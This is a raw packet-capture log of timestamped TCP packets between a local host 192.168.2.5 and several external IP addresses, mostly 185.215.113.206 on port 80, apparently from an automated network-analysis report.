Oct 28, 2024 18:43:37.889933109 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.889946938 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.889952898 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.889960051 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.889971018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.889980078 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.889981985 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.889995098 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890003920 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890017986 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890028954 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890038967 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890044928 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890044928 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890049934 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890069008 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890069962 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890080929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890091896 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890094042 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890103102 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890115023 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890120029 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890124083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890136003 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890146017 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890149117 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890158892 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890170097 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890173912 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890182018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890187025 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890193939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890206099 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890216112 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890218019 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890232086 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890243053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890244007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890256882 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890261889 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890264988 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890268087 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890278101 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890289068 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890292883 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890300035 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890304089 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890311956 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890325069 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890335083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890340090 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890350103 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890352964 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890366077 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890373945 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890386105 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890397072 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890407085 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890410900 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890418053 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890420914 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890433073 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890444994 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890451908 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890465975 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890477896 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890479088 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890490055 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890491009 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890513897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890525103 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890528917 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890536070 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890538931 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890547037 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890559912 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890566111 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890573025 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890585899 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890595913 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890599012 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890610933 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890615940 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890624046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890636921 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890645981 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890660048 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890666962 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890671015 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890676975 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890692949 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890706062 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890714884 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890718937 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890732050 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890743971 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890748024 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890757084 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890758038 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890770912 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890780926 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890784025 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890791893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890829086 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890832901 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890845060 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890851974 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890857935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890870094 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890877008 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890887022 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890887022 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890899897 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890912056 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890913963 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890924931 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890935898 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890944004 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890949965 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890963078 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890974998 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890980005 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890980005 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.890986919 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.890993118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891002893 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891006947 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891016006 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891027927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891031981 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891040087 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891056061 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891062021 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891068935 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891073942 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891081095 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891093016 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891097069 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891103983 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891115904 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891124964 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891129017 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891135931 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891140938 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891154051 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891160011 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891160011 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891166925 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891176939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891186953 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891189098 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891199112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891208887 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891211033 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891221046 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891232014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891242981 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891242981 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891264915 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891277075 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891277075 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891290903 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891302109 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891302109 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891323090 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891335011 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891339064 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891347885 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891355991 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891360998 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891371012 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891383886 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891393900 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891405106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891408920 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891422987 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891424894 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891438007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891448021 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891452074 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891459942 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891467094 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891473055 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891484022 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891495943 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891499996 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891509056 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891510963 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891520977 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891530037 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891532898 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891545057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891555071 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891558886 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891568899 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891582012 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891592026 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891602039 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891613960 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891613960 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891613960 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891625881 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891634941 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891638041 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891652107 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891654015 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891663074 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891674995 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891684055 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891688108 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891695976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891717911 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891721010 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891729116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891743898 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891746044 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891760111 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891767979 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891772032 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891783953 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891793013 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891797066 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891804934 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891829014 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891839981 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891841888 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891853094 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891864061 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891865015 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891875029 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891885996 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891896009 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891901970 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891907930 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891920090 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891927004 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891931057 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891937017 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891943932 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891954899 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891964912 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891968012 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891976118 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891988039 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.891993999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.891998053 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892004967 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892010927 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892024994 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892035007 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892035961 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892046928 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892055988 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892062902 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892067909 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892079115 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892085075 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892091036 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892095089 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892102003 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892115116 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892126083 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892127037 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892137051 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892148018 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892149925 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892159939 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892168999 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892173052 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892182112 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892184973 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892210960 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892247915 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892257929 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892309904 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892647982 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:37.892709970 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.892959118 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.894792080 CET	443	63581	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:37.895103931 CET	63581	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:37.895122051 CET	443	63581	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:37.895173073 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:37.895605087 CET	443	63581	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:37.895900965 CET	63581	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:37.895967960 CET	443	63581	23.221.22.173	192.168.2.5
Oct 28, 2024 18:43:37.940836906 CET	63581	443	192.168.2.5	23.221.22.173
Oct 28, 2024 18:43:38.947828054 CET	443	63587	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.948035002 CET	443	63587	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.948065042 CET	443	63586	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.948131084 CET	63587	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.948316097 CET	443	63586	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.948394060 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.948441982 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.948484898 CET	63586	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.949470997 CET	63587	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.949490070 CET	443	63587	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.949502945 CET	63587	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.949507952 CET	443	63587	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.950623989 CET	63586	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.950660944 CET	443	63586	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.950711012 CET	63586	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.950726986 CET	443	63586	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.957472086 CET	63597	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.957495928 CET	443	63597	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.957720995 CET	63597	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.958800077 CET	63598	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.958874941 CET	443	63598	13.107.246.51	192.168.2.5
Oct 28, 2024 18:43:38.959000111 CET	63598	443	192.168.2.5	13.107.246.51
Oct 28, 2024 18:43:38.960010052 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960025072 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960040092 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960055113 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960071087 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960086107 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960093021 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.960100889 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960130930 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.960150957 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960153103 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.960166931 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960181952 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960197926 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960212946 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960222006 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.960230112 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960244894 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960249901 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.960261106 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960277081 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.960283995 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960303068 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.960304976 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960321903 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960326910 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.960336924 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960351944 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960351944 CET	63519	80	192.168.2.5	185.215.113.206
Oct 28, 2024 18:43:38.960369110 CET	80	63519	185.215.113.206	192.168.2.5
Oct 28, 2024 18:43:38.960372925 CET	63519	80	192.168.2.5	185.215.113.206
